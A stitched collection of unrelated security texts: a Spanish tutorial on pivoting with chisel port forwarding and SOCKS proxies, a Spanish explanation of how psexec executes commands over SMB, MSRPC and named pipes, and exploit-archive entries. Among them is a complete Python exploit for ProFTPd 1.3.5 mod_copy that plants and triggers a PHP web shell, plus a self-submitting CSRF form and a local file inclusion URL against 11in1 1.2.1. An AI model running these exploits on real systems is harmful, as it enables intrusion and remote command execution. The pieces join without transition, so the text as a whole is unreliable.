Con esto establecido, ahora solo tenemos que ir a nuestro Kali para que se conecte como cliente, la sintaxis en este caso es un poquito mas compleja ya que le tenemos que especificar a que IP y puerto queremos llegar:

chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

En este caso:

image 119

Como vemos, chisel nos indica que nos hemos conseguido conectar, si no fuese ésto, se comportaría de la siguiente forma:

image 120

Pero en este caso, nos conectamos sin problemas. Con esto, ya solo tenemos que ir al puerto local que hemos abierto, en este caso el 80, el que supuestamente está apuntando al puerto 80 de la 192.168.20.20 (el servidor web vaya):

image 121

Como vemos, llegamos sin problemas.

Chisel también permite tunelizar varios puertos al mismo tiempo, siendo la sintaxis de esta forma:

A = chisel client <dirección servidor chisel>:<puerto servidor chisel>

B = <puerto local a abrir>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

La sintaxis para tunelizar varios puertos seria entonces la siguiente:

A + B + B + B + B… etc…

Ejemplo:

image 124

Además del puerto 80, estamos tunelizando el puerto 22 (SSH), por lo que:

image 123

Vemos que nos conectamos a la máquina que hemos especificado.

Remote Port Forwarding

Al contrario que en el Local Port Forwarding, en el Remote Port Forwarding, el servidor se coloca en el Kali, mientras que el cliente sería el Windows.

La sintaxis tanto para el cliente como para el servidor tiene algunas variaciones, en este caso, los comandos serían:

  • Servidor –> Kali

chisel server -p <puerto> --reverse

  • Cliente –> Windows

chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

Sabiendo esto, establecemos el servidor en nuestro kali:

image 125

Con esto, nos conectamos desde el Windows a nuestra máquina Kali:

image 126

Si miramos ahora nuestro Kali podemos ver como se ha conectado correctamente:

image 127

De esta forma, analizando y trayendo el comando ejecutado en el cliente:

chisel client 192.168.10.10:1234 R:80:192.168.20.20:80

Deberíamos en nuestro kali desde nuestro puerto 80, poder acceder al puerto 80 de la 192.168.20.20 (el Servidor Web):

image 128

Como vemos llegamos sin problemas.

Al igual que en el Local Port Forwarding, podemos tunelizar varios puertos con la misma conexión de Chisel, se haría de la misma forma:

A = chisel client <dirección servidor chisel>:<puerto servidor chisel>

B = R:<puerto a abrir en el servidor de chisel>:<dirección a donde apuntar>:<puerto a apuntar de la direccion donde se apunta>

La sintaxis para tunelizar varios puertos seria entonces la siguiente:

A + B + B + B + B… etc…

Ejemplo:

image 129
image 130

De esta forma, podemos acceder no solo puerto 80 de la máquina, sino también al puerto 22:

image 131

Vemos que funciona perfectamente.

Dynamic Port Forwarding

Con el Dynamic Port Forwarding podemos tunelizar todos los puertos, creando un proxy SOCKS. El funcionamiento y uso es exactamente el mismo que el proxy de SSH.

Chisel nos permite tanto crear un Forward Proxy como un Reverse Proxy. A nivel de uso, se suele usar mas el Reverse Proxy, por la misma razón que las Reverse Shells son mas famosas que las Bind Shells. Hablando de forma genérica, un Reverse Proxy o una Reverse Shell te dará menos problemas en cuanto a firewalls que las otras dos opciones (Forward y Bind). En cualquier caso, sea el que sea el proxy que escojas, ambos harán su cometido.

Para cada uno, la sintaxis es un poco distinta:

  • Forward Proxy
    • Servidor –> Windows
      • chisel server -p <puerto> --socks5
    • Cliente –> Kali
      • chisel client <dirección servidor chisel>:<puerto servidor chisel> <puerto que actuará como proxy>:socks
  • Reverse Proxy
    • Servidor –> Kali
      • chisel server -p <puerto> --reverse
    • Cliente –> Windows
      • chisel client <dirección servidor chisel>:<puerto servidor chisel> R:<puerto que actuará como proxy>:socks
pivoting chisel laboratorio 1

Vamos a ver ambos de forma práctica, pero antes, configuramos el firefox para que tire contra el puerto 1080, que será el puerto donde en cada caso de cada proxy funcionará éste (para que no tengamos que cambiarlo).

image 133

Con esto listo, vamos a empezar.

  • Forward Proxy
image 135
image 134

De esta forma, si intentamos acceder a la IP 192.168.20.20 en Firefox:

image 136

Vemos que accedemos.

  • Reverse Proxy:
image 137
image 138

De esta forma, si intentamos de nuevo acceder al Servidor Web:

image 139

Seguimos llegando sin problemas.

En este caso, solo estamos usando el proxy para firefox, pero se puede usar para otros programas o comandos. Para ello, podemos hacer uso de Proxychains, el cual aprovechará este proxy SOCKS creado para tramitar todo el tráfico. Esto se puede ver con mayor detalle en el post de Pivoting con Proxychains.

# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd'
else:
	server = sys.argv[1] #Vulnerable Server
	directory = sys.argv[2] # Path accessible from web .....
	cmd = sys.argv[3] #PHP payload to be executed
	evil = '<?php system("' + cmd + '") ?>'
	s.connect((server, 21))
	s.recv(1024)
	print '[ + ] Connected to server [ + ] \n'
	s.send('site cpfr /etc/passwd')
	s.recv(1024)
	s.send('site cpto ' + evil)
	s.recv(1024)
	s.send('site cpfr /proc/self/fd/3')
	s.recv(1024)
	s.send('site cpto ' + directory + 'infogen.php')
	s.recv(1024)
	s.close()
	print '[ + ] Payload sended [ + ]\n'
	print '[ + ] Executing Payload [ + ]\n'
	r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
	if (r.status_code == 200):
		print '[ * ] Payload Executed Succesfully [ * ]'
	else:
		print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
		
print '\n http://infogen.al/'
            

En muchas ocasiones, ya sea por explotación, persistencia o ambas. Se usan programas como psexec, smbexec, etc, para ejecutar comandos en una máquina donde poseemos credenciales de una cuenta privilegiada.

En todas estas ocasiones dependemos de dos cosas:

  • Como ya se ha comentado, que la cuenta tenga privilegios en la máquina
  • Que esté el puerto 445 abierto, es decir, SMB

Si se cumplen estos dos requisitos, se hace lo de siempre:

image

¡Y estamos dentro!

Pero claro, siendo SMB un protocolo para compartir archivos, impresoras, etc en una red, normalmente, de dispositivos windows, ¿como se consigue ejecutar comandos?

Como tal, para hacernos una idea podemos fijarnos en el output que nos deja psexec:

image 1

Según esto, los pasos son los siguientes:

  1. Solicitamos los recursos compartidos
  2. Encontramos un recurso compartido escribible, ADMIN$ en este caso
  3. Subimos el archivo ‘wJvVBmZT.exe’
  4. Abrimos el SVCManager (Administrador de Control de Servicios de Windows)
  5. Creamos el servicio ‘rarj’
  6. Iniciamos el servicio ‘rarj’

Tomando esto como referencia, vamos a verlo en detalle.

Primeramente, para establecer la conexión SMB se lleva a cabo el siguiente procedimiento:

Diagrama en blanco

Una vez establecida la conexión, se hace la petición para listar los recursos compartidos. Se hace con la intención de encontrar algun recurso que sea escribible (si no hay ninguno con capacidad de escritura no podremos hacer nada).

Cuando ya tenemos la conexión establecida y un recurso donde podamos escribir. La idea es subir el archivo que originalmente se llama PSEXECVC.exe, obviamente si se sube con este nombre es un poco sospechoso, por lo que se le renombra a un nombre totalmente aleatorio, como es en este caso, ‘wJvVBmZT.exe‘.

Este archivo se sube al recurso compartido ADMIN$ (un recurso administrativo en este caso), el cual corresponde con la ruta C:\Windows. Este paso ya requiere de una cuenta privilegiada, por lo que ya podemos ir entendiendo el porqué se requiere de una cuenta de este tipo para ejecutar comandos (no es la única acción que requiere de estos privilegios)

Una vez subido, hay que editar los registros en el servidor remoto, para que el servicio sea instalado. Para poder hacer esto y los siguientes pasos, hay que dejar claro un par de conceptos, MSRPC y Named Pipes (puede que éste último te suene de su uso en la explotación del Eternal Blue).

MSRPC (Microsoft Remote Procedure Call – Versión modificada de su antecesor, DCE/RPC) es un protocolo usado para crear un modelo cliente/servidor, se implantó en Windows NT (una de las primeras versiones de Windows), con el tiempo, se extendió llegando a que dominios enteros de Windows Server se basasen en este protocolo.

MSRPC es un marco de comunicación entre procesos, y permite provocar que se ejecute un procedimiento/subrutina en otro equipo de una red. Desde el punto de vista del equipo de la red, se ejecuta como si se ejecutara en local.

Para cualquier solicitud de MSRPC se establece una comunicación previa por SMB:

Diagrama en blanco 1

Por lo que a MSRPC se le añade la capa de seguridad propia de SMB.

Dejando claro esto, tenemos que quedarnos con que MSRPC es un protocolo que sirve para ejecutar procedimientos/subrutinas en otros equipos. Se ejecuta de forma distinta dependiendo de la situación:

assets%2F L 2uGJGU7AVNRcqRvEi%2F LsHCYv gRrz1EAGcBrr%2F LsHCZdlqoOoZTMjaZwe%2Fimage

Como vemos, por SMB, para que MSRPC pueda llevar a cabo sus acciones, hace uso de los Named Pipes, y es aquí donde lo vamos a introducir ya que es el segundo concepto que nos interesa.

Los named pipes (tuberias con nombre) son una conexión lógica, similar a una conexión TCP, entre un cliente y un servidor que participan ya sea en una conexión CIFS (Common Internet File System) o SMB (version 1, 2 o 3).

El nombre del pipe sirve como punto final al igual que lo sirve un puerto en una conexión TCP, por ello, se le puede denominar named pipe end point.

Muchos protocolos se basan en los named pipes, ya sea directa o indirectamente a través de MSRPCE (MSRPC Extensions). La ventaja de usarlos, es que aislan totalmente el protocolo usado en la capa superior, del transporte elegido (imagen superior), conllevando también el uso de los protocolos de autenticación (añadiendo la capa de seguridad de estos).

Los clientes SMB acceden a los Named Pipe End Point utilizando el recurso compartido «IPC$». Este recurso solo permite operaciones de named pipes y peticiones del servicio de archivos distribuido (Distributed File System – DFS) de Microsoft.

Con todo esto, volviendo al tema, se crea las entradas de registros correspondientes en el servidor para la creación e instalación del servicio que ejecute el archivo exe subido. Si nos fijamos en la imagen de psexec:

image 2

Podemos ver como a la hora de crear el servicio, también se crea con un nombre aleatorio, al igual que el archivo exe. Esto de cara a no llamar tanto la atención si el usuario listase los servicios de la máquina.

Posteriormente, se inicia el servicio. El servicio iniciado puede usar cualquier protocolo de red para recibir y ejecutar comandos.

Cuando finaliza, el servicio puede ser desinstalado (removiendo las entradas de registros y eliminando el archivo exe)

Todas estas acciones de crear servicio, iniciarlo, eliminarlo, se consiguen gracias al uso de MSRPC, el cual hace también uso de los Named Pipes. Además, estas acciones requieren de acceso privilegiado, por ello el famoso Pwn3d! de CrackMapExec cuando se hace uso de una cuenta privilegiada, lo que hace CME es confirmar que todo este proceso se puede llevar a cabo gracias a los privilegios de la cuenta.

Entonces, en resumen:

  1. Se copia el archivo exe malicioso al servidor SMB
  2. Se crean los registros correspondientes para la creación e instalación del servicio que ejecute el archivo exe
  3. Se inicia el servicio, ejecutando así, el exe
  4. Cuando acabamos, el servicio es desinstalado, removiendo sus respectivas entradas y el propio archivo exe

MSRPC y Named Pipes se ven implicados en los puntos 2, 3 y 4.

Y es a través de todo este procedimiento que a partir de lo que a primera vista SMB parece, un protocolo de compartir archivos, dispositivos etc. Podemos ejecutar comandos de sistema.

source: https://www.securityfocus.com/bid/52025/info
  
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
  
11in1 1.2.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
            
source: https://www.securityfocus.com/bid/52025/info
 
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
 
11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?class=../../../tmp/file%00